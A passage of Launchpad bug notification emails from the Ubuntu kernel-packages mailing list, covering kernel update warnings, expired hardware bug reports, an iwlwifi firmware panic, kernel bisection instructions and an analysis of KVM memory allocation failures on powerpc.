found: /boot/grub/menu.lst Searching for splash image ... none found, skipping ... Found kernel: /vmlinuz-4.15.0-29-generic Found kernel: /vmlinuz-4.15.0-22-generic Found kernel: /vmlinuz-4.18.0-041800rc7-generic Found kernel: /vmlinuz-4.15.0-29-generic Found kernel: /vmlinuz-4.15.0-22-generic Replacing config file /run/grub/menu.lst with new version Updating /boot/grub/menu.lst ... done /etc/kernel/postinst.d/zz-update-grub: GRUB-Konfigurationsdatei wird erstellt … Linux-Abbild gefunden: /boot/vmlinuz-4.18.0-041800rc7-generic initrd-Abbild gefunden: /boot/initrd.img-4.18.0-041800rc7-generic Linux-Abbild gefunden: /boot/vmlinuz-4.15.0-29-generic initrd-Abbild gefunden: /boot/initrd.img-4.15.0-29-generic Linux-Abbild gefunden: /boot/vmlinuz-4.15.0-22-generic initrd-Abbild gefunden: /boot/initrd.img-4.15.0-22-generic erledigt Fehler traten auf beim Bearbeiten von: linux-headers-4.18.0-041800rc7-generic root@h2744217:~# apt search linux-headers-$(uname -r) Sortierung... Fertig Volltextsuche... Fertig linux-headers-4.15.0-22-generic/bionic-updates,bionic-security,now 4.15.0-22.24 amd64 [Installiert,automatisch] Linux kernel headers for version 4.15.0 on 64 bit x86 SMP root@h2744217:~# uname -r 4.15.0-22-generic Currently is the 4.15.0.22.-generic Kernel installed. The Updated Kernel cant be installed. ** Tags added: kernel-bug-exists-upstream -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784244 Title: cryptsetup: WARNING: failed to detect canonical device Status in linux package in Ubuntu: Incomplete Bug description: Hello, today I would Update the Kernel on my Server. But I got this warning at the Kernel Installation. Is that an Bug? [Code] sudo update-initramfs -u update-initramfs: Generating /boot/initrd.img-4.15.0-29-generic cryptsetup: WARNING: failed to detect canonical device of /dev/md1 cryptsetup: WARNING: could not determine root device from /etc/fstab W: Possible missing firmware /lib/firmware/ast_dp501_fw.bin for module ast I: The initramfs will attempt to resume from /dev/sdb3 I: (UUID=9055a919-6d99-49f0-88f1-7c53d6fd92a7) I: Set the
[Kernel-packages] [Bug 1774531] Re: [Dell Inspiron 7577] shutdown/reboot hangs
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774531 Title: [Dell Inspiron 7577] shutdown/reboot hangs Status in linux package in Ubuntu: Expired Bug description: https://answers.launchpad.net/ubuntu-certification/+question/669743 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-22-generic 4.15.0-22.24 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 Uname: Linux 4.15.0-22-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Fri Jun 1 01:19:51 2018 InstallationDate: Installed on 2018-05-30 (0 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774531/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1773906] Re: Upgraded artful kernel oopses with null pointer dereference on pkt_setup_dev on insertion of mobile usb stick
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773906 Title: Upgraded artful kernel oopses with null pointer dereference on pkt_setup_dev on insertion of mobile usb stick Status in linux package in Ubuntu: Expired Bug description: On insertion of a Huawei E173 mobile internet USB stick the artful kernel now oopses: BUG: unable to handle kernel NULL pointer dereference at 03d0 [ 633.710837] IP: pkt_setup_dev+0x2af/0x650 [pktcdvd] Issue seems to be related to the setup of the cdrom-like device hosted on the stick together with the UMTS modem. May possibly be due to some race as the usb stick configuration keeps changing until the device is properly switched to operate as a modem. Some of the times, UMTS modem remains detected notwithstanding the issue. After the issue, the system has problems in shutting down, though. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: linux-image-generic 4.13.0.43.46 ProcVersionSignature: Ubuntu 4.13.0-43.48-generic 4.13.16 Uname: Linux 4.13.0-43-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.8 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: callegar 2654 F pulseaudio /dev/snd/controlC1: callegar 2654 F pulseaudio CurrentDesktop: KDE Date: Tue May 29 08:27:52 2018 EcryptfsInUse: Yes HibernationDevice: RESUME=UUID=c7dd5aac-abad-4cd0-9cac-552d49960853 InstallationDate: Installed on 2013-12-12 (1628 days ago) InstallationMedia: Kubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: Notebook W740SU ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.13.0-43-generic root=/dev/mapper/zagar_ssd--vg-root ro quiet splash resume=/dev/zagar_ssd-vg/swap_1 acpi_backlight=vendor vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.13.0-43-generic N/A linux-backports-modules-4.13.0-43-generic N/A linux-firmware 1.169.3 SourcePackage: linux UpgradeStatus: Upgraded to artful on 2017-10-26 (214 days ago) dmi.bios.date: 10/02/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 4.6.5 dmi.board.asset.tag: Tag 12345 dmi.board.name: W740SU dmi.board.vendor: Notebook dmi.board.version: Not Applicable dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 9 dmi.chassis.vendor: Notebook dmi.chassis.version: N/A dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr4.6.5:bd10/02/2013:svnNotebook:pnW740SU:pvrNotApplicable:rvnNotebook:rnW740SU:rvrNotApplicable:cvnNotebook:ct9:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: W740SU dmi.product.version: Not Applicable dmi.sys.vendor: Notebook To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773906/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774442] Re: wireless hardblocked and wireless enable button not functional
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774442 Title: wireless hardblocked and wireless enable button not functional Status in linux package in Ubuntu: Expired Bug description: Laptop is an HP Pavilion dm4-3170se. Dual booting Windows 7 and ubuntu. In Windows, system boots with wireless disabled and then pressing the wireless enable button twice enables WiFi. In ubuntu, system boots with wireless disabled and wireless enable button has no functionality either directly or in combination with the fn-key. Module hp_wmi may be the culprit? But disabling this has no effect on hardblock. reference forum post for more detailed info: https://ubuntuforums.org/showthread.php?t=2392934&p=13772159#post13772159 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-4.13.0-43-generic 4.13.0-43.48~16.04.1 ProcVersionSignature: Ubuntu 4.13.0-43.48~16.04.1-generic 4.13.16 Uname: Linux 4.13.0-43-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.17 Architecture: amd64 CurrentDesktop: Unity Date: Thu May 31 10:19:32 2018 InstallationDate: Installed on 2018-05-19 (11 days ago) InstallationMedia: Ubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: linux-hwe UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774442/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774337] Re: touchpad not working
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774337 Title: touchpad not working Status in linux package in Ubuntu: Expired Bug description: I have accessed the virtual terminal tty and then onwards my touchpad has stopped working completely.However an external usb mouse works fine.I have done all the operations and tried my level best to solve the issue but none of them are giving the result.Please go through this issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774337/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774589] Re: System freeze
[Expired for linux (Ubuntu) because there has been no activity for 60
days.]
** Changed in: linux (Ubuntu)
Status: Incomplete => Expired
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1774589
Title:
System freeze
Status in linux package in Ubuntu:
Expired
Bug description:
System freeze
ProblemType: Bug
DistroRelease: Ubuntu 17.10
Package: linux-image-4.13.0-43-generic 4.13.0-43.48
ProcVersionSignature: Ubuntu 4.13.0-43.48-generic 4.13.16
Uname: Linux 4.13.0-43-generic i686
NonfreeKernelModules: wl
AlsaVersion: Advanced Linux Sound Architecture Driver Version
k4.13.0-43-generic.
ApportVersion: 2.20.7-0ubuntu3.9
Architecture: i386
ArecordDevices:
List of CAPTURE Hardware Devices
card 0: PCH [HDA Intel PCH], device 0: CX20590 Analog [CX20590 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: mohammad881 F pulseaudio
Card0.Amixer.info:
Card hw:0 'PCH'/'HDA Intel PCH at 0xf371 irq 30'
Mixer name : 'Conexant CX20590'
Components : 'HDA:14f1506e,17aa5019,0013
HDA:80862806,80860101,0010'
Controls : 34
Simple ctrls : 11
CurrentDesktop: LXDE
Date: Fri Jun 1 10:29:53 2018
HibernationDevice: RESUME=UUID=c49322e5-423f-4d23-b603-862b40c1fa3f
MachineType: LENOVO 6885DSG
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-43-generic
root=UUID=60cc0542-145d-4cbe-ab3a-664740f38105 ro quiet splash vt.handoff=7
RelatedPackageVersions:
linux-restricted-modules-4.13.0-43-generic N/A
linux-backports-modules-4.13.0-43-generic N/A
linux-firmware 1.169.3
SourcePackage: linux
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 01/17/2014
dmi.bios.vendor: LENOVO
dmi.bios.version: HEET40WW (1.21 )
dmi.board.asset.tag: Not Available
dmi.board.name: 6885DSG
dmi.board.vendor: LENOVO
dmi.board.version: Not Available
dmi.chassis.asset.tag: No Asset Information
dmi.chassis.type: 10
dmi.chassis.vendor: LENOVO
dmi.chassis.version: Not Available
dmi.modalias:
dmi:bvnLENOVO:bvrHEET40WW(1.21):bd01/17/2014:svnLENOVO:pn6885DSG:pvrThinkPadEdgeE531:rvnLENOVO:rn6885DSG:rvrNotAvailable:cvnLENOVO:ct10:cvrNotAvailable:
dmi.product.family: ThinkPad Edge E531
dmi.product.name: 6885DSG
dmi.product.version: ThinkPad Edge E531
dmi.sys.vendor: LENOVO
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774589/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1743489] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1743489 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1743489 Title: iwlwifi firmware panic on 4.13, ucode 29.610311.0 Status in linux package in Ubuntu: Incomplete Status in network-manager package in Ubuntu: Confirmed Bug description: On random occasion, or with certain wifi loads, iwlwifi panics with the wifi nolonger being wakeable; [ 14.548729] iwlwifi :05:00.0: loaded firmware version 29.610311.0 op_mode iwlmvm [ 14.611562] iwlwifi :05:00.0: Detected Intel(R) Dual Band Wireless AC 3165, REV=0x210 [ 14.631936] iwlwifi :05:00.0: base HW address: 08:d4:0c:ef:9b:4c [ 15.094132] iwlwifi :05:00.0 wlo1: renamed from wlan0 [ 436.462157] WARNING: CPU: 3 PID: 0 at /build/linux-4LIBhY/linux-4.13.0/drivers/net/wireless/intel/iwlwifi/pcie/trans.c:1873 iwl_trans_pcie_grab_nic_access+0xdf/0xf0 [iwlwifi] [ 436.462159] Modules linked in: ccm rfcomm cmac bnep binfmt_misc nls_iso8859_1 amd_freq_sensitivity edac_mce_amd kvm_amd kvm irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc snd_hda_codec_realtek aesni_intel snd_hda_codec_generic arc4 snd_hda_codec_hdmi aes_x86_64 crypto_simd glue_helper snd_hda_intel cryptd uvcvideo snd_hda_codec videobuf2_vmalloc videobuf2_memops snd_hda_core snd_seq_midi videobuf2_v4l2 snd_hwdep videobuf2_core snd_seq_midi_event joydev snd_rawmidi videodev iwlmvm input_leds hp_wmi sparse_keymap media wmi_bmof mac80211 snd_pcm btusb serio_raw btrtl snd_seq btbcm btintel k10temp fam15h_power bluetooth snd_seq_device snd_timer i2c_piix4 iwlwifi ecdh_generic cfg80211 snd soundcore shpchp i2c_scmi mac_hid hp_wireless parport_pc ppdev lp parport ip_tables x_tables autofs4 [ 436.462351] RIP: 0010:iwl_trans_pcie_grab_nic_access+0xdf/0xf0 [iwlwifi] [ 436.462417] iwl_read_prph+0x32/0x80 [iwlwifi] [ 436.462444] iwl_trans_pcie_log_scd_error+0x120/0x1e0 [iwlwifi] [ 436.462477] ? iwl_pcie_txq_inc_wr_ptr+0xf0/0xf0 [iwlwifi] [ 436.462499] iwl_pcie_txq_stuck_timer+0x4b/0x70 [iwlwifi] [ 436.516736] iwlwifi :05:00.0: Queue 10 is active on fifo 2 and stuck for 1 ms. SW [22, 107] HW [90, 90] FH TRB=0x05a5a5a5a [ 440.022480] iwlwifi :05:00.0: Failed to wake NIC for hcmd [ 440.022600] iwlwifi :05:00.0: Error sending SCAN_OFFLOAD_REQUEST_CMD: enqueue_hcmd failed: -5 [ 440.022607] iwlwifi :05:00.0: Scan failed! ret -5 [ 441.041965] iwlwifi :05:00.0: Failed to wake NIC for hcmd [ 441.042121] iwlwifi :05:00.0: Error sending SCAN_OFFLOAD_REQUEST_CMD: enqueue_hcmd failed: -5 [ 441.042128] iwlwifi :05:00.0: Scan failed! ret -5 [ 442.061856] iwlwifi :05:00.0: Failed to wake NIC for hcmd ...recurring Kubuntu 17.10 ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: network-manager 1.8.4-1ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-25.29-generic 4.13.13 Uname: Linux 4.13.0-25-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CurrentDesktop: KDE Date: Tue Jan 16 14:14:26 2018 IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback InstallationDate: Installed on 2017-01-05 (375 days ago) InstallationMedia: Kubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.1) IpRoute: default via 192.168.1.1 dev wlo1 proto static metric 600 169.254.0.0/16 dev wlo1 scope link metric 1000 192.168.1.0/24 dev wlo1 proto kernel scope link src 192.168.1.80 metric 600 192.168.30.0/24 dev vpn_vectrobe proto kernel scope link src 192.168.30.11 NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true ProcEnviron: LANGUAGE=en_AU:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_AU.UTF-8 SHELL=/bin/bash SourcePackage: network-manager UpgradeStatus: Upgraded to artful on 2018-01-15 (0 days ago) nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.8.4connected started full enabled enabled enabled enabled enabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1743489/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@l
[Kernel-packages] [Bug 1743489] Re: iwlwifi firmware panic on 4.13, ucode 29.610311.0
** Also affects: linux (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1743489 Title: iwlwifi firmware panic on 4.13, ucode 29.610311.0 Status in linux package in Ubuntu: New Status in network-manager package in Ubuntu: Confirmed Bug description: On random occasion, or with certain wifi loads, iwlwifi panics with the wifi nolonger being wakeable; [ 14.548729] iwlwifi :05:00.0: loaded firmware version 29.610311.0 op_mode iwlmvm [ 14.611562] iwlwifi :05:00.0: Detected Intel(R) Dual Band Wireless AC 3165, REV=0x210 [ 14.631936] iwlwifi :05:00.0: base HW address: 08:d4:0c:ef:9b:4c [ 15.094132] iwlwifi :05:00.0 wlo1: renamed from wlan0 [ 436.462157] WARNING: CPU: 3 PID: 0 at /build/linux-4LIBhY/linux-4.13.0/drivers/net/wireless/intel/iwlwifi/pcie/trans.c:1873 iwl_trans_pcie_grab_nic_access+0xdf/0xf0 [iwlwifi] [ 436.462159] Modules linked in: ccm rfcomm cmac bnep binfmt_misc nls_iso8859_1 amd_freq_sensitivity edac_mce_amd kvm_amd kvm irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc snd_hda_codec_realtek aesni_intel snd_hda_codec_generic arc4 snd_hda_codec_hdmi aes_x86_64 crypto_simd glue_helper snd_hda_intel cryptd uvcvideo snd_hda_codec videobuf2_vmalloc videobuf2_memops snd_hda_core snd_seq_midi videobuf2_v4l2 snd_hwdep videobuf2_core snd_seq_midi_event joydev snd_rawmidi videodev iwlmvm input_leds hp_wmi sparse_keymap media wmi_bmof mac80211 snd_pcm btusb serio_raw btrtl snd_seq btbcm btintel k10temp fam15h_power bluetooth snd_seq_device snd_timer i2c_piix4 iwlwifi ecdh_generic cfg80211 snd soundcore shpchp i2c_scmi mac_hid hp_wireless parport_pc ppdev lp parport ip_tables x_tables autofs4 [ 436.462351] RIP: 0010:iwl_trans_pcie_grab_nic_access+0xdf/0xf0 [iwlwifi] [ 436.462417] iwl_read_prph+0x32/0x80 [iwlwifi] [ 436.462444] iwl_trans_pcie_log_scd_error+0x120/0x1e0 [iwlwifi] [ 436.462477] ? iwl_pcie_txq_inc_wr_ptr+0xf0/0xf0 [iwlwifi] [ 436.462499] iwl_pcie_txq_stuck_timer+0x4b/0x70 [iwlwifi] [ 436.516736] iwlwifi :05:00.0: Queue 10 is active on fifo 2 and stuck for 1 ms. SW [22, 107] HW [90, 90] FH TRB=0x05a5a5a5a [ 440.022480] iwlwifi :05:00.0: Failed to wake NIC for hcmd [ 440.022600] iwlwifi :05:00.0: Error sending SCAN_OFFLOAD_REQUEST_CMD: enqueue_hcmd failed: -5 [ 440.022607] iwlwifi :05:00.0: Scan failed! ret -5 [ 441.041965] iwlwifi :05:00.0: Failed to wake NIC for hcmd [ 441.042121] iwlwifi :05:00.0: Error sending SCAN_OFFLOAD_REQUEST_CMD: enqueue_hcmd failed: -5 [ 441.042128] iwlwifi :05:00.0: Scan failed! ret -5 [ 442.061856] iwlwifi :05:00.0: Failed to wake NIC for hcmd ...recurring Kubuntu 17.10 ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: network-manager 1.8.4-1ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-25.29-generic 4.13.13 Uname: Linux 4.13.0-25-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CurrentDesktop: KDE Date: Tue Jan 16 14:14:26 2018 IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback InstallationDate: Installed on 2017-01-05 (375 days ago) InstallationMedia: Kubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.1) IpRoute: default via 192.168.1.1 dev wlo1 proto static metric 600 169.254.0.0/16 dev wlo1 scope link metric 1000 192.168.1.0/24 dev wlo1 proto kernel scope link src 192.168.1.80 metric 600 192.168.30.0/24 dev vpn_vectrobe proto kernel scope link src 192.168.30.11 NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true ProcEnviron: LANGUAGE=en_AU:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_AU.UTF-8 SHELL=/bin/bash SourcePackage: network-manager UpgradeStatus: Upgraded to artful on 2018-01-15 (0 days ago) nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.8.4connected started full enabled enabled enabled enabled enabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1743489/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1768976] Re: Ubuntu 18.04 is overheating after upgrade from 16.04
Would it be possible for you to do a kernel bisection? First, find the last good -rc kernel and the first bad -rc kernel from http://kernel.ubuntu.com/~kernel-ppa/mainline/ Then, $ sudo apt build-dep linux $ git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git $ cd linux $ git bisect start $ git bisect good $(the good version you found) $ git bisect bad $(the bad version found) $ make localmodconfig $ make -j`nproc` deb-pkg Install the newly built kernel, then reboot with it. If the issue still happens, $ git bisect bad Otherwise, $ git bisect good Repeat to "make -j`nproc` deb-pkg" until you find the commit that causes the regression. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1768976 Title: Ubuntu 18.04 is overheating after upgrade from 16.04 Status in linux package in Ubuntu: Confirmed Status in xserver-xorg-video-nouveau package in Ubuntu: Confirmed Bug description: Ubuntu is overheating at my laptop. Opening youtube on firefox is enough for critical temperature shutdown. Using lm-sensors for monitoring on 18.04 the temp varies between 70 and 85°C with only firefox or chrome open and doing nothing. On my old 16.04 with same using, the temp varies between 55 and 70°C. First thought was the driver nouveau is the problem, and finally I was able to install by add "nouveau.modeset=0" at livecd boot options, without temp shutdown. After install I disable the nouveau at modprobe blacklist, but the system continues overheating and shutdown with basic usage. I have no idea what's happening with the bionic at my laptop. My laptop is a Samsung RF411 i5 2nd Generation and Geforce 540M. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ubuntu-release-upgrader-core 1:18.04.17 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: ubuntu:GNOME Date: Thu May 3 16:22:40 2018 InstallationDate: Installed on 2018-04-27 (6 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all SourcePackage: ubuntu-release-upgrader Symptom: dist-upgrade UpgradeStatus: No upgrade log present (probably fresh install) VarLogDistupgradeAptHistorylog: Start-Date: 2018-04-27 15:46:02 End-Date: 2018-04-27 15:46:02 VarLogDistupgradeAptlog: Log time: 2018-04-27 15:45:39.753331 Starting pkgProblemResolver with broken count: 0 Starting 2 pkgProblemResolver with broken count: 0 Done Log time: 2018-04-27 15:46:04.859979 VarLogDistupgradeApttermlog: Log started: 2018-04-27 15:46:02 Log ended: 2018-04-27 15:46:02 --- .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: edir 2354 F pulseaudio CompositorRunning: None DistUpgraded: Fresh install DistroCodename: bionic DistroRelease: Ubuntu 18.04 DistroVariant: ubuntu DkmsStatus: bcmwl, 6.30.223.271+bdcom, 4.15.0-20-generic, x86_64: installed bcmwl, 6.30.223.271+bdcom, 4.15.0-22-generic, x86_64: installed GraphicsCard: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Samsung Electronics Co Ltd 2nd Generation Core Processor Family Integrated Graphics Controller [144d:c0a5] Subsystem: Samsung Electronics Co Ltd GF108M [GeForce GT 540M] [144d:c0a5] HibernationDevice: RESUME=UUID=e7a61aee-64c2-4c88-b4e1-4de481d0f88d InstallationDate: Installed on 2018-04-27 (36 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: SAMSUNG ELECTRONICS CO., LTD. RF511/RF411/RF711 NonfreeKernelModules: wl Package: xserver-xorg-video-nouveau 1:1.0.15-2 PackageArchitecture: amd64 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-22-generic root=UUID=db38a22c-0e9f-4e1a-b9f7-f7aac2544394 ro quiet splash nouveau.runpm=0 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not accessible: Permission denied No PulseAudio daemon running, or not running as session daemon. RelatedPackageVersions: linux-restricted-modules-4.15.0-22-generic N/A linux-backports-modules-4.15.0-22-generic N/A linux-firmware 1.173.1 Tags: bionic ubuntu Uname: Linux 4.15.0-22-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True dmi.bios.date: 04/26/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 10HX.M034.20110426.SSH dmi.board.as
[Kernel-packages] [Bug 1781038] Re: KVM guest hash page table failed to allocate contiguous memory (CMA)
Yes, we have closed the support case on our end at their request. Apparently increasing the reservation ratio has helped. Paulus - Hi! Thanks for the info and clearing up some of my misunderstandings. Great to hear from you and I hope things are going well at OzLabs :) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1781038 Title: KVM guest hash page table failed to allocate contiguous memory (CMA) Status in The Ubuntu-power-systems project: Opinion Status in linux package in Ubuntu: New Bug description: Per an email forwarded within IBM, we wish to use this Launchpad bug to work on the technical discussion with the Canonical development folks and the IBM KVM and kernel team surrounding the analysis made by Daniel Axtens of Canonical for the customer issue raised in Case #00177825. The only statement at the moment by the KVM team was that there were various issues associated with CMA fragmentation causing issues with KVM guests. However, as mentioned, this bug is to allow the dialog amongst all the developers to see what can be done to help alleviate the situation or understand the root cause further. Please also note that we should not be attaching customer data to this bug. If that is necessary then we expect Canonical to help provide a controlled environment for reviewing that data so we avoid any privacy issues (e.g. for GDPR compliance). Here is the email from Daniel: I have looked at the sosreport you uploaded. Here is my analysis so far. Virtualisation on powerpc has some special requirements. To start a guest on a powerpc host, you need to allocate a contiguous area of memory to hold the guest's hash page table (HPT, or HTAB, depending on which document you look at). The HPT is required to track and manage guest memory. Your error reports show qemu asking the kernel to allocate an HTAB, and the kernel reporting that it had insufficient memory to do so. The required memory for the HPT scales with the guest memory size - it should be about 1/128th of guest memory, so for a 16GB guest, that's 128MB. However, the HPT has to be allocated as a single contiguous memory region. (This is in contrast to regular guest memory, which is not required to be contiguous from the host point of view.) The kernel keeps a special contiguous memory area (CMA) for these purposes, and keeps track of the total amounts in use and still available. These are shown in /proc/meminfo. From the system that ran the sosreport, we see: CmaTotal: 26853376 kB CmaFree: 4024448 kB So there is a total of about 25GB of CMA, of which about 3.8GB remain. This is obviously more than 128MB: - It's very possible that between the error and the sosreport, more contiguous memory became available. This would match the intermittent nature of the issue. - It also might be that the failure was due to fragmentation of memory in the CMA pool. That is, there might be more than 128MB, but it might all be in chunks that are smaller than 128MB, or which don't have the required alignment for a HPT. Given that the system's uptime was 112 days when the sosreport was generated, it would be unsurprising if fragmentation had occurred! (Relatedly - you're running 4.4.0-109, which does not have the Spectre and Meltdown fixes.) This issue has come up before - both in a public Canonical-IBM synchronised bug report[1], and with Red Hat[2]. It appears that there is some work within IBM to address this, but it seems to have stalled. I will get in touch with the IBM powerpc kernel team on their public mailing list and ask about the status. I will keep you updated. In the mean time, I have a potential solution/workaround. By default, 5% of memory is reserved for CMA (kernel source: arch/powerpc/kvm/book3s_hv_builtin.c, kvm_cma_resv_ratio). You can increase this with a boot parameter, so for example to reserve 10%, you could boot with kvm_cma_resv_ratio=10. This can be set in petitboot. This should significantly reduce the incidence of this issue - perhaps eliminating it entirely - at the cost of locking away more of the system's memory. You would need to experiment to determine the optimal value. Perhaps given that you are seeing the problem only intermittently, a ratio of 7% would be sufficient - that would give you ~35GB of CMA. Please let me know if testing this setting would be an option for you. Please also let me know if you require further information on setting boot parameters with Petitboot. Regards, Daniel 